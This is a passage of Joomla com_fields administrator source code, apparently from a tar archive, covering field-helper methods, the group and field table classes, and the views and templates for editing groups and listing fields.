			if (!array_key_exists($field->type, $fieldTypes))
			{
				// Field type is not available
				continue;
			}

			if (!array_key_exists($field->group_id, $fieldsPerGroup))
			{
				$fieldsPerGroup[$field->group_id] = array();
			}

			if ($path = $fieldTypes[$field->type]['path'])
			{
				// Add the lookup path for the field
				JFormHelper::addFieldPath($path);
			}

			if ($path = $fieldTypes[$field->type]['rules'])
			{
				// Add the lookup path for the rule
				JFormHelper::addRulePath($path);
			}

			$fieldsPerGroup[$field->group_id][] = $field;
		}

		// On the front, sometimes the admin fields path is not included
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/tables');

		$model = JModelLegacy::getInstance('Groups', 'FieldsModel', array('ignore_request' => true));
		$model->setState('filter.context', $context);

		/**
		 * $model->getItems() would only return existing groups, but we also
		 * have the 'default' group with id 0 which is not in the database,
		 * so we create it virtually here.
		 */
		$defaultGroup = new \stdClass;
		$defaultGroup->id = 0;
		$defaultGroup->title = '';
		$defaultGroup->description = '';
		$iterateGroups = array_merge(array($defaultGroup), $model->getItems());

		// Looping through the groups
		foreach ($iterateGroups as $group)
		{
			if (empty($fieldsPerGroup[$group->id]))
			{
				continue;
			}

			// Defining the field set
			/** @var DOMElement $fieldset */
			$fieldset = $fieldsNode->appendChild(new DOMElement('fieldset'));
			$fieldset->setAttribute('name', 'fields-' . $group->id);
			$fieldset->setAttribute('addfieldpath', '/administrator/components/' . $component . '/models/fields');
			$fieldset->setAttribute('addrulepath', '/administrator/components/' . $component . '/models/rules');

			$label       = $group->title;
			$description = $group->description;

			if (!$label)
			{
				$key = strtoupper($component . '_FIELDS_' . $section . '_LABEL');

				if (!JFactory::getLanguage()->hasKey($key))
				{
					$key = 'JGLOBAL_FIELDS';
				}

				$label = $key;
			}

			if (!$description)
			{
				$key = strtoupper($component . '_FIELDS_' . $section . '_DESC');

				if (JFactory::getLanguage()->hasKey($key))
				{
					$description = $key;
				}
			}

			$fieldset->setAttribute('label', $label);
			$fieldset->setAttribute('description', strip_tags($description));

			// Looping through the fields for that context
			foreach ($fieldsPerGroup[$group->id] as $field)
			{
				try
				{
					JFactory::getApplication()->triggerEvent('onCustomFieldsPrepareDom', array($field, $fieldset, $form));

					/*
					 * If the field belongs to an assigned_cat_id but the assigned_cat_ids in the data
					 * is not known, set the required flag to false on any circumstance.
					 */
					if (!$assignedCatids && !empty($field->assigned_cat_ids) && $form->getField($field->name))
					{
						$form->setFieldAttribute($field->name, 'required', 'false');
					}
				}
				catch (Exception $e)
				{
					JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
				}
			}

			// When the field set is empty, then remove it
			if (!$fieldset->hasChildNodes())
			{
				$fieldsNode->removeChild($fieldset);
			}
		}

		// Loading the XML fields string into the form
		$form->load($xml->saveXML());

		$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));

		if ((!isset($data->id) || !$data->id) && JFactory::getApplication()->input->getCmd('controller') == 'config.display.modules'
			&& JFactory::getApplication()->isClient('site'))
		{
			// Modules on front end editing don't have data and an id set
			$data->id = JFactory::getApplication()->input->getInt('id');
		}

		// Looping through the fields again to set the value
		if (!isset($data->id) || !$data->id)
		{
			return true;
		}

		foreach ($fields as $field)
		{
			$value = $model->getFieldValue($field->id, $data->id);

			if ($value === null)
			{
				continue;
			}

			if (!is_array($value) && $value !== '')
			{
				// Function getField doesn't cache the fields, so we try to do it only when necessary
				$formField = $form->getField($field->name, 'com_fields');

				if ($formField && $formField->forceMultiple)
				{
					$value = (array) $value;
				}
			}

			// Setting the value on the field
			$form->setValue($field->name, 'com_fields', $value);
		}

		return true;
	}

	/**
	 * Return a boolean if the actual logged in user can edit the given field value.
	 *
	 * @param   stdClass  $field  The field
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public static function canEditFieldValue($field)
	{
		$parts = self::extract($field->context);

		return JFactory::getUser()->authorise('core.edit.value', $parts[0] . '.field.' . (int) $field->id);
	}

	/**
	 * Return a boolean based on field (and field group) display / show_on settings
	 *
	 * @param   stdClass  $field  The field
	 *
	 * @return  boolean
	 *
	 * @since   3.8.7
	 */
	public static function displayFieldOnForm($field)
	{
		$app = JFactory::getApplication();

		// Detect if the field should be shown at all
		if ($field->params->get('show_on') == 1 && $app->isClient('administrator'))
		{
			return false;
		}
		elseif ($field->params->get('show_on') == 2 && $app->isClient('site'))
		{
			return false;
		}

		if (!self::canEditFieldValue($field))
		{
			$fieldDisplayReadOnly = $field->params->get('display_readonly', '2');

			if ($fieldDisplayReadOnly == '2')
			{
				// Inherit from field group display read-only setting
				$groupModel = JModelLegacy::getInstance('Group', 'FieldsModel', array('ignore_request' => true));
				$groupDisplayReadOnly = $groupModel->getItem($field->group_id)->params->get('display_readonly', '1');
				$fieldDisplayReadOnly = $groupDisplayReadOnly;
			}

			if ($fieldDisplayReadOnly == '0')
			{
				// Do not display field on form when field is read-only
				return false;
			}
		}

		// Display field on form
		return true;
	}

	/**
	 * Gets assigned categories titles for a field
	 *
	 * @param   stdClass[]  $fieldId  The field ID
	 *
	 * @return  array  Array with the assigned categories
	 *
	 * @since   3.7.0
	 */
	public static function getAssignedCategoriesTitles($fieldId)
	{
		$fieldId = (int) $fieldId;

		if (!$fieldId)
		{
			return array();
		}

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);

		$query->select($db->quoteName('c.title'))
			->from($db->quoteName('#__fields_categories', 'a'))
			->join('INNER', $db->quoteName('#__categories', 'c') . ' ON a.category_id = c.id')
			->where('field_id = ' . $fieldId);

		$db->setQuery($query);

		return $db->loadColumn();
	}

	/**
	 * Gets the fields system plugin extension id.
	 *
	 * @return  integer  The fields system plugin extension id.
	 *
	 * @since   3.7.0
	 */
	public static function getFieldsPluginId()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('fields'));
		$db->setQuery($query);

		try
		{
			$result = (int) $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
			$result = 0;
		}

		return $result;
	}

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $context  The context the fields are used for
	 * @param   string  $vName    The view currently active
	 *
	 * @return  void
	 *
	 * @since    3.7.0
	 */
	public static function addSubmenu($context, $vName)
	{
		$parts = self::extract($context);

		if (!$parts)
		{
			return;
		}

		$component = $parts[0];

		// Avoid nonsense situation.
		if ($component == 'com_fields')
		{
			return;
		}

		// Try to find the component helper.
		$eName = str_replace('com_', '', $component);
		$file  = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/helpers/' . $eName . '.php');

		if (!file_exists($file))
		{
			return;
		}

		require_once $file;

		$cName = ucfirst($eName) . 'Helper';

		if (class_exists($cName) && is_callable(array($cName, 'addSubmenu')))
		{
			$lang = JFactory::getLanguage();
			$lang->load($component, JPATH_ADMINISTRATOR)
			|| $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component);

			$cName::addSubmenu('fields.' . $vName);
		}
	}

	/**
	 * Loads the fields plugins and returns an array of field types from the plugins.
	 *
	 * The returned array contains arrays with the following keys:
	 * - label: The label of the field
	 * - type:  The type of the field
	 * - path:  The path of the folder where the field can be found
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public static function getFieldTypes()
	{
		JPluginHelper::importPlugin('fields');
		$eventData = JEventDispatcher::getInstance()->trigger('onCustomFieldsGetTypes');

		$data = array();

		foreach ($eventData as $fields)
		{
			foreach ($fields as $fieldDescription)
			{
				if (!array_key_exists('path', $fieldDescription))
				{
					$fieldDescription['path'] = null;
				}

				if (!array_key_exists('rules', $fieldDescription))
				{
					$fieldDescription['rules'] = null;
				}

				$data[$fieldDescription['type']] = $fieldDescription;
			}
		}

		return $data;
	}

	/**
	 * Clears the internal cache for the custom fields.
	 *
	 * @return  void
	 *
	 * @since   3.8.0
	 */
	public static function clearFieldsCache()
	{
		self::$fieldCache  = null;
		self::$fieldsCache = null;
	}
}
com_fields/tables/group.php000060400000010704152455305320011771 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Groups Table
 *
 * @since  3.7.0
 */
class FieldsTableGroup extends JTable
{
	/**
	 * Class constructor.
	 *
	 * @param   JDatabaseDriver  $db  JDatabaseDriver object.
	 *
	 * @since   3.7.0
	 */
	public function __construct($db = null)
	{
		parent::__construct('#__fields_groups', 'id', $db);

		$this->setColumnAlias('published', 'state');
	}

	/**
	 * Method to bind an associative array or object to the JTable instance.This
	 * method only binds properties that are publicly accessible and optionally
	 * takes an array of properties to ignore when binding.
	 *
	 * @param   mixed  $src     An associative array or object to bind to the JTable instance.
	 * @param   mixed  $ignore  An optional array or space separated list of properties to ignore while binding.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.7.0
	 * @throws  InvalidArgumentException
	 */
	public function bind($src, $ignore = '')
	{
		if (isset($src['params']) && is_array($src['params']))
		{
			$registry = new Registry;
			$registry->loadArray($src['params']);
			$src['params'] = (string) $registry;
		}

		// Bind the rules.
		if (isset($src['rules']) && is_array($src['rules']))
		{
			$rules = new JAccessRules($src['rules']);
			$this->setRules($rules);
		}

		return parent::bind($src, $ignore);
	}

	/**
	 * Method to perform sanity checks on the JTable instance properties to ensure
	 * they are safe to store in the database.  Child classes should override this
	 * method to make sure the data they are storing in the database is safe and
	 * as expected before storage.
	 *
	 * @return  boolean  True if the instance is sane and able to be stored in the database.
	 *
	 * @link    https://docs.joomla.org/Special:MyLanguage/JTable/check
	 * @since   3.7.0
	 */
	public function check()
	{
		// Check for a title.
		if (trim($this->title) == '')
		{
			$this->setError(JText::_('COM_FIELDS_MUSTCONTAIN_A_TITLE_GROUP'));

			return false;
		}

		$date = JFactory::getDate();
		$user = JFactory::getUser();

		if ($this->id)
		{
			$this->modified = $date->toSql();
			$this->modified_by = $user->get('id');
		}
		else
		{
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}

			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}

		return true;
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form table_name.id
	 * where id is the value of the primary key of the table.
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	protected function _getAssetName()
	{
		$component = explode('.', $this->context);

		return $component[0] . '.fieldgroup.' . (int) $this->id;
	}

	/**
	 * Method to return the title to use for the asset table.  In
	 * tracking the assets a title is kept for each asset so that there is some
	 * context available in a unified access manager.  Usually this would just
	 * return $this->title or $this->name or whatever is being used for the
	 * primary name of the row. If this method is not overridden, the asset name is used.
	 *
	 * @return  string  The string to use as the title in the asset table.
	 *
	 * @link    https://docs.joomla.org/Special:MyLanguage/JTable/getAssetTitle
	 * @since   3.7.0
	 */
	protected function _getAssetTitle()
	{
		return $this->title;
	}

	/**
	 * Method to get the parent asset under which to register this one.
	 * By default, all assets are registered to the ROOT node with ID,
	 * which will default to 1 if none exists.
	 * The extended class can define a table and id to lookup.  If the
	 * asset does not exist it will be created.
	 *
	 * @param   JTable   $table  A JTable object for the asset parent.
	 * @param   integer  $id     Id to look up
	 *
	 * @return  integer
	 *
	 * @since   3.7.0
	 */
	protected function _getAssetParentId(JTable $table = null, $id = null)
	{
		$component = explode('.', $this->context);
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' . $db->quote($component[0]));
		$db->setQuery($query);

		if ($assetId = (int) $db->loadResult())
		{
			return $assetId;
		}

		return parent::_getAssetParentId($table, $id);
	}
}
com_fields/tables/field.php000060400000014153152455305320011722 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Fields Table
 *
 * @since  3.7.0
 */
class FieldsTableField extends JTable
{
	/**
	 * Class constructor.
	 *
	 * @param   JDatabaseDriver  $db  JDatabaseDriver object.
	 *
	 * @since   3.7.0
	 */
	public function __construct($db = null)
	{
		parent::__construct('#__fields', 'id', $db);

		$this->setColumnAlias('published', 'state');
	}

	/**
	 * Method to bind an associative array or object to the JTable instance.This
	 * method only binds properties that are publicly accessible and optionally
	 * takes an array of properties to ignore when binding.
	 *
	 * @param   mixed  $src     An associative array or object to bind to the JTable instance.
	 * @param   mixed  $ignore  An optional array or space separated list of properties to ignore while binding.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.7.0
	 * @throws  InvalidArgumentException
	 */
	public function bind($src, $ignore = '')
	{
		if (isset($src['params']) && is_array($src['params']))
		{
			$registry = new Registry;
			$registry->loadArray($src['params']);
			$src['params'] = (string) $registry;
		}

		if (isset($src['fieldparams']) && is_array($src['fieldparams']))
		{
			$registry = new Registry;
			$registry->loadArray($src['fieldparams']);
			$src['fieldparams'] = (string) $registry;
		}

		// Bind the rules.
		if (isset($src['rules']) && is_array($src['rules']))
		{
			$rules = new JAccessRules($src['rules']);
			$this->setRules($rules);
		}

		return parent::bind($src, $ignore);
	}

	/**
	 * Method to perform sanity checks on the JTable instance properties to ensure
	 * they are safe to store in the database.  Child classes should override this
	 * method to make sure the data they are storing in the database is safe and
	 * as expected before storage.
	 *
	 * @return  boolean  True if the instance is sane and able to be stored in the database.
	 *
	 * @link    https://docs.joomla.org/Special:MyLanguage/JTable/check
	 * @since   3.7.0
	 */
	public function check()
	{
		// Check for valid name
		if (trim($this->title) == '')
		{
			$this->setError(JText::_('COM_FIELDS_MUSTCONTAIN_A_TITLE_FIELD'));

			return false;
		}

		if (empty($this->name))
		{
			$this->name = $this->title;
		}

		$this->name = JApplicationHelper::stringURLSafe($this->name, $this->language);

		if (trim(str_replace('-', '', $this->name)) == '')
		{
			$this->name = Joomla\String\StringHelper::increment($this->name, 'dash');
		}

		$this->name = str_replace(',', '-', $this->name);

		// Verify that the name is unique
		$table = JTable::getInstance('Field', 'FieldsTable', array('dbo' => $this->_db));

		if ($table->load(array('name' => $this->name)) && ($table->id != $this->id || $this->id == 0))
		{
			$this->setError(JText::_('COM_FIELDS_ERROR_UNIQUE_NAME'));

			return false;
		}

		$this->name = str_replace(',', '-', $this->name);

		if (empty($this->type))
		{
			$this->type = 'text';
		}

		$date = JFactory::getDate();
		$user = JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified_time = $date->toSql();
			$this->modified_by = $user->get('id');
		}
		else
		{
			if (!(int) $this->created_time)
			{
				$this->created_time = $date->toSql();
			}

			if (empty($this->created_user_id))
			{
				$this->created_user_id = $user->get('id');
			}
		}

		if (empty($this->group_id))
		{
			$this->group_id = 0;
		}

		return true;
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form table_name.id
	 * where id is the value of the primary key of the table.
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	protected function _getAssetName()
	{
		$contextArray = explode('.', $this->context);

		return $contextArray[0] . '.field.' . (int) $this->id;
	}

	/**
	 * Method to return the title to use for the asset table.  In
	 * tracking the assets a title is kept for each asset so that there is some
	 * context available in a unified access manager.  Usually this would just
	 * return $this->title or $this->name or whatever is being used for the
	 * primary name of the row. If this method is not overridden, the asset name is used.
	 *
	 * @return  string  The string to use as the title in the asset table.
	 *
	 * @link    https://docs.joomla.org/Special:MyLanguage/JTable/getAssetTitle
	 * @since   3.7.0
	 */
	protected function _getAssetTitle()
	{
		return $this->title;
	}

	/**
	 * Method to get the parent asset under which to register this one.
	 * By default, all assets are registered to the ROOT node with ID,
	 * which will default to 1 if none exists.
	 * The extended class can define a table and id to lookup.  If the
	 * asset does not exist it will be created.
	 *
	 * @param   JTable   $table  A JTable object for the asset parent.
	 * @param   integer  $id     Id to look up
	 *
	 * @return  integer
	 *
	 * @since   3.7.0
	 */
	protected function _getAssetParentId(JTable $table = null, $id = null)
	{
		$contextArray = explode('.', $this->context);
		$component = $contextArray[0];

		if ($this->group_id)
		{
			$assetId = $this->getAssetId($component . '.fieldgroup.' . (int) $this->group_id);

			if ($assetId)
			{
				return $assetId;
			}
		}
		else
		{
			$assetId = $this->getAssetId($component);

			if ($assetId)
			{
				return $assetId;
			}
		}

		return parent::_getAssetParentId($table, $id);
	}

	/**
	 * Returns an asset id for the given name or false.
	 *
	 * @param   string  $name  The asset name
	 *
	 * @return  number|boolean
	 *
	 * @since    3.7.0
	 */
	private function getAssetId($name)
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' . $db->quote($name));

		// Get the asset id from the database.
		$db->setQuery($query);

		$assetId = null;

		if ($result = $db->loadResult())
		{
			$assetId = (int) $result;

			if ($assetId)
			{
				return $assetId;
			}
		}

		return false;
	}
}
com_fields/views/group/view.html.php000060400000007101152455305320013566 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Group View
 *
 * @since  3.7.0
 */
class FieldsViewGroup extends JViewLegacy
{
	/**
	 * @var  JForm
	 *
	 * @since  3.7.0
	 */
	protected $form;

	/**
	 * @var  JObject
	 *
	 * @since  3.7.0
	 */
	protected $item;

	/**
	 * @var  JObject
	 *
	 * @since  3.7.0
	 */
	protected $state;

	/**
	 * The actions the user is authorised to perform
	 *
	 * @var  JObject
	 *
	 * @since  3.7.0
	 */
	protected $canDo;


	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.7.0
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		$component = '';
		$parts     = FieldsHelper::extract($this->state->get('filter.context'));

		if ($parts)
		{
			$component = $parts[0];
		}

		$this->canDo = JHelperContent::getActions($component, 'fieldgroup', $this->item->id);

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		JFactory::getApplication()->input->set('hidemainmenu', true);

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Adds the toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function addToolbar()
	{
		$component = '';
		$parts     = FieldsHelper::extract($this->state->get('filter.context'));

		if ($parts)
		{
			$component = $parts[0];
		}

		$userId    = JFactory::getUser()->get('id');
		$canDo     = $this->canDo;

		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId);

		// Avoid nonsense situation.
		if ($component == 'com_fields')
		{
			return;
		}

		// Load component language file
		$lang = JFactory::getLanguage();
		$lang->load($component, JPATH_ADMINISTRATOR)
		|| $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component));

		$title = JText::sprintf('COM_FIELDS_VIEW_GROUP_' . ($isNew ? 'ADD' : 'EDIT') . '_TITLE', JText::_(strtoupper($component)));

		// Prepare the toolbar.
		JToolbarHelper::title(
			$title,
			'puzzle field-' . ($isNew ? 'add' : 'edit') . ' ' . substr($component, 4) . '-group-' .
			($isNew ? 'add' : 'edit')
		);

		// For new records, check the create permission.
		if ($isNew)
		{
			JToolbarHelper::apply('group.apply');
			JToolbarHelper::save('group.save');
			JToolbarHelper::save2new('group.save2new');
		}

		// If not checked out, can save the item.
		elseif (!$checkedOut && ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId)))
		{
			JToolbarHelper::apply('group.apply');
			JToolbarHelper::save('group.save');

			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2new('group.save2new');
			}
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('group.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('group.cancel');
		}
		else
		{
			JToolbarHelper::cancel('group.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_FIELDS_FIELD_GROUPS_EDIT');
	}
}
com_fields/views/group/tmpl/edit.php000060400000005501152455305320013554 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tabstate');
JHtml::_('formbehavior.chosen', 'select');

$app = JFactory::getApplication();
$input = $app->input;

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "group.cancel" || document.formvalidator.isValid(document.getElementById("item-form")))
		{
			Joomla.submitform(task, document.getElementById("item-form"));
		}
	};
');
?>

<form action="<?php echo JRoute::_('index.php?option=com_fields&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">
	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>
	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'general')); ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('COM_FIELDS_VIEW_FIELD_FIELDSET_GENERAL', true)); ?>
		<div class="row-fluid">
			<div class="span9">
				<?php echo $this->form->renderField('label'); ?>
				<?php echo $this->form->renderField('description'); ?>
			</div>
			<div class="span3">
				<?php $this->set('fields',
						array(
							array(
								'published',
								'state',
								'enabled',
							),
							'access',
							'language',
							'note',
						)
				); ?>
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
				<?php $this->set('fields', null); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('JGLOBAL_FIELDSET_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
			</div>
			<div class="span6">
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php $this->set('ignore_fieldsets', array('fieldparams')); ?>
		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>
		<?php if ($this->canDo->get('core.admin')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'rules', JText::_('JGLOBAL_ACTION_PERMISSIONS_LABEL', true)); ?>
			<?php echo $this->form->getInput('rules'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
		<?php echo $this->form->getInput('context'); ?>
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_fields/views/fields/view.html.php000060400000011676152455305320013714 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Fields View
 *
 * @since  3.7.0
 */
class FieldsViewFields extends JViewLegacy
{
	/**
	 * @var  JForm
	 *
	 * @since  3.7.0
	 */
	public $filterForm;

	/**
	 * @var  array
	 *
	 * @since  3.7.0
	 */
	public $activeFilters;

	/**
	 * @var  array
	 *
	 * @since  3.7.0
	 */
	protected $items;

	/**
	 * @var  JPagination
	 *
	 * @since  3.7.0
	 */
	protected $pagination;

	/**
	 * @var  JObject
	 *
	 * @since  3.7.0
	 */
	protected $state;

	/**
	 * @var  string
	 *
	 * @since  3.7.0
	 */
	protected $sidebar;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.7.0
	 */
	public function display($tpl = null)
	{
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display a warning if the fields system plugin is disabled
		if (!JPluginHelper::isEnabled('system', 'fields'))
		{
			$link = JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . FieldsHelper::getFieldsPluginId());
			JFactory::getApplication()->enqueueMessage(JText::sprintf('COM_FIELDS_SYSTEM_PLUGIN_NOT_ENABLED', $link), 'warning');
		}

		// Only add toolbar when not in modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			FieldsHelper::addSubmenu($this->state->get('filter.context'), 'fields');
			$this->sidebar = JHtmlSidebar::render();
		}

		return parent::display($tpl);
	}

	/**
	 * Adds the toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function addToolbar()
	{
		$fieldId   = $this->state->get('filter.field_id');
		$component = $this->state->get('filter.component');
		$section   = $this->state->get('filter.section');
		$canDo     = JHelperContent::getActions($component, 'field', $fieldId);

		// Get the toolbar object instance
		$bar = JToolBar::getInstance('toolbar');

		// Avoid nonsense situation.
		if ($component == 'com_fields')
		{
			return;
		}

		// Load extension language file
		$lang = JFactory::getLanguage();
		$lang->load($component, JPATH_ADMINISTRATOR)
		|| $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component));

		$title = JText::sprintf('COM_FIELDS_VIEW_FIELDS_TITLE', JText::_(strtoupper($component)));

		// Prepare the toolbar.
		JToolbarHelper::title($title, 'puzzle fields ' . substr($component, 4) . ($section ? "-$section" : '') . '-fields');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('field.add');
		}

		if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
		{
			JToolbarHelper::editList('field.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('fields.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('fields.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::archiveList('fields.archive');
		}

		if (JFactory::getUser()->authorise('core.admin'))
		{
			JToolbarHelper::checkin('fields.checkin');
		}

		// Add a batch button
		if ($canDo->get('core.create') && $canDo->get('core.edit') && $canDo->get('core.edit.state'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(
				array(
					'title' => $title,
				)
			);

			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences($component);
		}

		if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete', $component))
		{
			JToolbarHelper::deleteList('', 'fields.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('fields.trash');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_FIELDS_FIELDS');
	}

	/**
	 * Returns the sort fields.
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' => JText::_('JGRID_HEADING_ORDERING'),
			'a.state'    => JText::_('JSTATUS'),
			'a.title'    => JText::_('JGLOBAL_TITLE'),
			'a.type'     => JText::_('COM_FIELDS_FIELD_TYPE_LABEL'),
			'a.access'   => JText::_('JGRID_HEADING_ACCESS'),
			'a.language' => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.id'       => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_fields/views/fields/tmpl/default.php000060400000020764152455305320014375 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$app       = JFactory::getApplication();
$user      = JFactory::getUser();
$userId    = $user->get('id');
$context   = $this->escape($this->state->get('filter.context'));
$component = $this->state->get('filter.component');
$section   = $this->state->get('filter.section');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$ordering  = ($listOrder == 'a.ordering');
$saveOrder = ($listOrder == 'a.ordering' && strtolower($listDirn) == 'asc');

// The category object of the component
$category = JCategories::getInstance(str_replace('com_', '', $component) . '.' . $section);

// If there is no category for the component and section, so check the component only
if (!$category)
{
	$category = JCategories::getInstance(str_replace('com_', '', $component));
}

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_fields&task=fields.saveOrderAjax&tmpl=component';
